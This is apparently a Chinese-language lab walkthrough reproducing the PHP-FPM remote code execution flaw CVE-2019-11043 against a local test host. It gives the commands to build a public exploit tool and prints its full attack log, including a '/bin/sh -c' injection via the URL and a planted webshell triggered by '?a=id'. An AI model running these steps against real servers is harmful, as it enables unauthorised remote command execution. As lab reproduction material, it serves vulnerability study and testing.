PHP-FPM 远程命令执行 (CVE-2019-11043)

PHP-FPM 远程命令执行 (CVE-2019-11043)

在 Real World CTF 2019 Quals 中发现了一个 PHP 远程代码执行 0-Day。

Real World CTF 2019 Quals 是由长亭科技在中国举办的 CTF 挑战赛。

参考:

漏洞复现

环境启动后,可以在 处看到默认页面http://192.168.44.132:8080/index.php

使用此工具重现漏洞,需要高版本的go,https://github.com/neex/phiip-fpizdam

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

运行执行

1
2
3
4
5
6
7
8
9
10
11
$ go run . "http://192.168.44.132:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!

有东西表明该过程已成功完成:

image-20211123113254571

PHP-FPM后台写了一个webshell,访问http://192.168.44.132/index.php?a=id触发RCE:

image-20211123113326192

您应该注意到只有部分 PHP-FPM 子进程受到污染,因此请多尝试几次执行该命令。

0%